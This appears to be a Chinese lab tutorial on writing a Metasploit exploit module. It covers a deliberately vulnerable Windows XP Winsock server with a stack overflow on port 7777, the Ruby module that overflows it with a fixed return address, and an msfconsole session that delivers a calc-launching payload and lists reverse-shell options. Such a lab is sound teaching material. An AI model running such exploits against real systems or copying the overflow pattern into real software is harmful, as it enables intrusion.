目录

一、实验清单

二、实验思路

三、实验步骤


一、实验清单

实验清单
类型 序号 软硬件要求 规格
攻击机 1 数量 1台
2 操作系统版本 kali
3 软件版本 metasploit
靶机 1 数量 1台
2 操作系统版本 windows xp sp3
3 软件版本 vc++

二、实验思路

靶机:采用一个存在典型栈溢出的server,其代码如下:

#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
void msg_display(char *buf)
{char msg[200];strcpy(msg,buf);  //overflow here,copy 0x200 to200cout<<"***************"<<endl;cout<<"received:"<<endl;cout<<msg<<endl;
}void main()
{int sock,msgsock,lenth,receive_len;struct sockaddr_in sock_server,sock_client;char buf[0x200];//notice it is 0x200WSADATA wsa;WSAStartup(MAKEWORD(1,1),&wsa);if((sock=socket(AF_INET,SOCK_STREAM,0))<0){cout<<sock<<"socket creating error!"<<endl;exit(1);}sock_server.sin_family=AF_INET;sock_server.sin_port=htons(7777);sock_server.sin_addr.s_addr=htonl(INADDR_ANY);if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server))){cout<<"binging stream socket error!"<<endl;}cout<<"****************************"<<endl;cout<<"exploit target server 1.0 "<<endl;cout<<"****************************"<<endl;listen(sock,4);lenth=sizeof(struct sockaddr);do{msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);if(msgsock==-1){cout<<"accept error"<<endl;break;}elsedo{memset(buf,0,sizeof(buf));if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0){cout<<"reading stream message error!"<<endl;receive_len=0;}msg_display(buf);   //trigged the overflow}while(receive_len);closesocket(msgsock);}while(1);WSACleanup();
}

程序大致思路:在vc++中编译运行后,程序会在7777端口监听TCP连接,如果收到数据,就在屏幕上打印出来。在main函数中,buf数组的大小被声明为0x200,在mag_display函数中,将大小为0x200的字符串复制进200大小的局部数组,从而引发一个典型的栈溢出。

攻击机:使用Ruby语言开发一个exploit模板,并在MSF上运行以测试漏洞。Ruby脚本如下:

#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remoteinclude Exploit::Remote::TCPdef initialize(info = {})super(update_info(info,'Name' => 'failwest_test','Platform' => 'win','Target' => [['Windows 2000',{'Ret' => 0x77F8948B}],['WIndows XP SP3',{'Ret' => 0x77D928A3}]],'Payload' => {'Space' => 2000,'BadChars' => "\x00",}))end #end of initializedef exploitconnectattack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encodedsock.put(attack_buf)handlerdisconnectend #end of exploit def
end #end of class def

对上述代码进行简单解释:

(1)require指明所需的类库,相当于C语言的include;

(2)运算符“<”表示继承,也就是,我们这里所定义的类是由Msf::Exploit::Remote继承而来;

(3)在类中,定义了两个方法(函数),一个是initialize,另一个是exploit。现在模板的框架可以看成:

class xxxdef initialize#定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系统指明不同的返回地址#指明shellcode中禁止出现的特殊字符、漏洞相关描述、URL引用、作者信息等enddef exploit#将填充物、返回地址、shellcode等组织成最终的attack_buf,并发送endend

从实验所用的Ruby脚本看initialize:

def initialize(info = {})super(update_info(info,'Name' => 'failwest_test','Platform' => 'win','Target' => [['Windows 2000',{'Ret' => 0x77F8948B}],['WIndows XP SP3',{'Ret' => 0x77D928A3}]],'Payload' => {'Space' => 2000,'BadChars' => "\x00",}))end #end of initialize

(1)Name模块的名称,在msf console中,使用“show exploit”命令,会显示每一个exploit的序号、路径...以及此时这个Name;

(2)Platform模块运行平台,MSF通过这个值来为exploit挑选payload。本例中,该值为‘win’,在挑选payload时,MSF只会选择windows平台的payload,而BSD、linux的payload将会被禁用。

(3)Targets可以定义多种操作系统的返回地址。可以用ollydbg或者msf有个模块可以获取跳转指令的返回地址。

(4)Payload则是对shellcode的要求,如大小和禁止用的字节等。

再看exploit:

def exploitconnectattack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encodedsock.put(attack_buf)handlerdisconnectend #end of exploit def

对于attack_buf:

attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded

(1)用200个字符“a”填充缓冲区;

(2)pack('V')的作用是把数据按照DWORD逆序

(3)payload.excoded是将payload编码。

三、实验步骤

1、在靶机上编译并运行漏洞程序;

2、在攻击机上编写Ruby脚本,保存为“test_exploit.rb”,存放路径为:

/var/usr/share/metasploit-framework/modules/exploits/failwest/

3、启动msf console,并且输入以下命令;

msf6 > use exploit/failwest/test_exploit
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(failwest/test_exploit) > show targetsExploit targets:Id  Name--  ----0   Automatic1   Windows 20002   WIndows XP SP2msf6 exploit(failwest/test_exploit) > set target 2
target => 2
msf6 exploit(failwest/test_exploit) > show payloadsCompatible Payloads
===================#   Name                                                 Disclosure Date  Rank    Check  Description-   ----                                                 ---------------  ----    -----  -----------0   payload/generic/custom                                                normal  No     Custom Payload1   payload/generic/debug_trap                                            normal  No     Generic x86 Debug Trap2   payload/generic/shell_bind_tcp                                        normal  No     Generic Command Shell, Bind TCP Inline3   payload/generic/shell_reverse_tcp                                     normal  No     Generic Command Shell, Reverse TCP Inline4   payload/generic/ssh/interact                                          normal  No     Interact with Established SSH Connection5   payload/generic/tight_loop                                            normal  No     Generic x86 Tight Loop6   payload/windows/dllinject/reverse_nonx_tcp                            normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)7   payload/windows/dllinject/reverse_ord_tcp                             normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)8   payload/windows/exec                                                  normal  No     Windows Execute Command9   payload/windows/meterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)10  payload/windows/meterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)11  payload/windows/metsvc_bind_tcp                                       normal  No     Windows Meterpreter Service, Bind TCP12  payload/windows/metsvc_reverse_tcp                                    normal  No     Windows Meterpreter Service, Reverse TCP Inline13  payload/windows/patchupdllinject/reverse_nonx_tcp                     normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)14  payload/windows/patchupdllinject/reverse_ord_tcp                      normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)15  payload/windows/patchupmeterpreter/reverse_nonx_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)16  payload/windows/patchupmeterpreter/reverse_ord_tcp                    normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)17  payload/windows/peinject/reverse_nonx_tcp                             normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)18  payload/windows/peinject/reverse_ord_tcp                              normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)19  payload/windows/powershell_bind_tcp                                   normal  No     Windows Interactive Powershell Session, Bind TCP20  payload/windows/powershell_reverse_tcp                                normal  No     Windows Interactive Powershell Session, Reverse TCP21  payload/windows/powershell_reverse_tcp_ssl                            normal  No     Windows Interactive Powershell Session, Reverse TCP SSL22  payload/windows/shell/reverse_nonx_tcp                                normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)23  payload/windows/shell/reverse_ord_tcp                                 normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)24  payload/windows/upexec/reverse_nonx_tcp                               normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)25  payload/windows/upexec/reverse_ord_tcp                                normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)26  payload/windows/vncinject/reverse_nonx_tcp                            normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)27  payload/windows/vncinject/reverse_ord_tcp                             normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)msf6 exploit(failwest/test_exploit) > set payload windows/exec
payload => windows/exec
msf6 exploit(failwest/test_exploit) > show optionsModule options (exploit/failwest/test_exploit):Name    Current Setting  Required  Description----    ---------------  --------  -----------RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-MetasploitRPORT                    yes       The target port (TCP)Payload options (windows/exec):Name      Current Setting  Required  Description----      ---------------  --------  -----------CMD                        yes       The command string to executeEXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread,process, none)Exploit target:Id  Name--  ----2   WIndows XP SP2msf6 exploit(failwest/test_exploit) > set rhost 192.168.92.132  //靶机IP
rhost => 192.168.92.132
msf6 exploit(failwest/test_exploit) > set rport 7777
rport => 7777
msf6 exploit(failwest/test_exploit) > set cmd calc
cmd => calc
msf6 exploit(failwest/test_exploit) > set exitfunc seh
exitfunc => seh
msf6 exploit(failwest/test_exploit) > exploit

4、回到靶机,可以看到如下界面:

唯一的不足就是:shellcode已经注入到靶机中了,但是没有运行。

为此,做了以下努力:

(1)使用telnet命令,连接到了靶机,并且也正常输出字符,说明漏洞程序没有问题;

(2)在msf中,使用generate命令,将payload为windows/exec的shellcode找出来,并且用加载程序在靶机上运行,结果是可以调出计算器,正常运行。

至此,具体为什么使用exploit注入的shellcode无法运行的原因不知,有待进一步研究。

4.2 metasploit 开发 exploit相关推荐

  1. 关于Metasploit开发环境的搭建

    又开始看<Metasploit渗透测试魔鬼训练营>这本书了.看到Web应用程序渗透测试这一章,其中有一部分是关于自己编写Metasploit的Exploit和Payload.我也正准备依葫 ...

  2. 攻击者可提前检测到 Linux 内核的补丁并开发 exploit

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 宝马.西门子和两所德国大学的研究人员发现,他们可以在Linux 内核修复方案发布之前检测到这些方案,而这些信息可导致攻击者开发并部署e ...

  3. 4. Metasploit之Exploit模块

    再学Metasploit 之前学习的Metasploit没有写笔记都忘掉了,这次叫完整的学习内容记录下来 1. Active Exploit 主动的 某种服务器开放的端口,攻击者主动发起漏洞利用代码, ...

  4. metasploit 中 exploit模块check方法简介

    Exploit模块的check方法用来检测一台远程主机是否有漏洞能够被利用. check方法默认的实施仅返回check方法不被Exploit模块支持. 当然,一个完整的代码能够从check方法返回如下 ...

  5. 二进制漏洞利用原理--栈溢出

    1. 进程的内存空间 但是不管什么样的操作系统.什么样的计算机架构,进程使用的内存都可以按照功能大致分成以下4个部分. (1)代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并 ...

  6. 0day安全:软件漏洞分析技术(第2版)

    0day安全:软件漏洞分析技术(第2版) 基本信息 作者:王清   张东辉   周浩   王继刚   赵双 丛书名:安全技术大系 出版社:电子工业出版社 ISBN:9787121133961 上架时间 ...

  7. 0day安全:软件漏洞分析技术(第2版)pdf

    下载地址:网盘下载 内容简介  · · · · · · 本书分为4篇17章,系统全面地介绍了Windows平台缓冲区溢出漏洞的分析.检测与防护.第一篇为常用工具和基础知识的介绍:第二篇从攻击者的视角出 ...

  8. 《0day安全:软件漏洞分析技术第二版》

    简单说来,这次再版的原因有二: 首先,国人深知与时俱进的道理,技术上面更是如此.随着windows平台保护技术的不断改进,win7的广泛使用,第一版中所述的很多方法已有较大局 限.为此我们逐一搜集了近 ...

  9. 使用ruby和python快速开发metasploit自定义模块

    使用ruby和python快速开发metasploit自定义模块 前言 本文的内容主要分为两个部分: 提供一个基本ruby模块代码框架,并快速开发自定义ruby模块 提供一个基本python模块代码框 ...

  10. metasploit快速入门(一)安装部署

    目录 简介 1 在Windows上安装Metasploit 2 在Linux和MacOS上安装Metasploit 3 在Kali Linux上使用Metasploit 4 升级Kali Linux ...

最新文章

  1. 用动态实现扩展TVM
  2. 最高 10 万奖金!2021 新网银行智能语音大赛来了!
  3. Rcysoft PDF Watermark Pro中文版
  4. .net中的4种事务总结
  5. git部署与基本命令汇总
  6. 日本电影《摇摆》:男人之间的心灵碰撞
  7. C. Jon Snow and his Favourite Number DP + 注意数值大小
  8. C++中的 .h 和 .cpp 区别详解
  9. 扩展KMP模板(学习)
  10. .mmap文件用什么软件可以打开?
  11. 区块链隐私保护:技术和相关项目
  12. 灰色预测模型matlab预测20个数据,怎么matlab灰色模型预测这组数据的下一...
  13. 前端自动化测试 之 视觉测试
  14. MySQL中关于字符编码的配置
  15. SDN和NFV的区别
  16. Android 横竖屏幕切换(layout-land和layout-port)
  17. OpenStack Nova hacking和读书笔记
  18. 获取DataTable中的某一列及增加一行数据
  19. Python抓取视频内容
  20. FluentValidation验证教程

热门文章

  1. linux so fprintf,Linux下printf、fprintf、sprintf的区别
  2. fms服务器ip修改,FusionSphere 平台修改管理网段和VLAN
  3. 文件上传注入攻击 ——合天网安实验室学习笔记
  4. 幼儿园体育游戏电子计算机教案,幼儿园体育游戏活动教案8篇
  5. Hyper-V安装lede软路由历程及注意事项
  6. 第四届“泰迪杯”数据分析技能赛-赛题A:《通讯产品销售和盈利能力分析》报告
  7. (webapp)微信和safri 对于html5 部分功能不兼容,多选或单选下拉框去除边框无效果。...
  8. C语言中EOF什么意思
  9. 使用selenium模拟动态登录百度页面
  10. java程序执行时间_java记录代码运行时间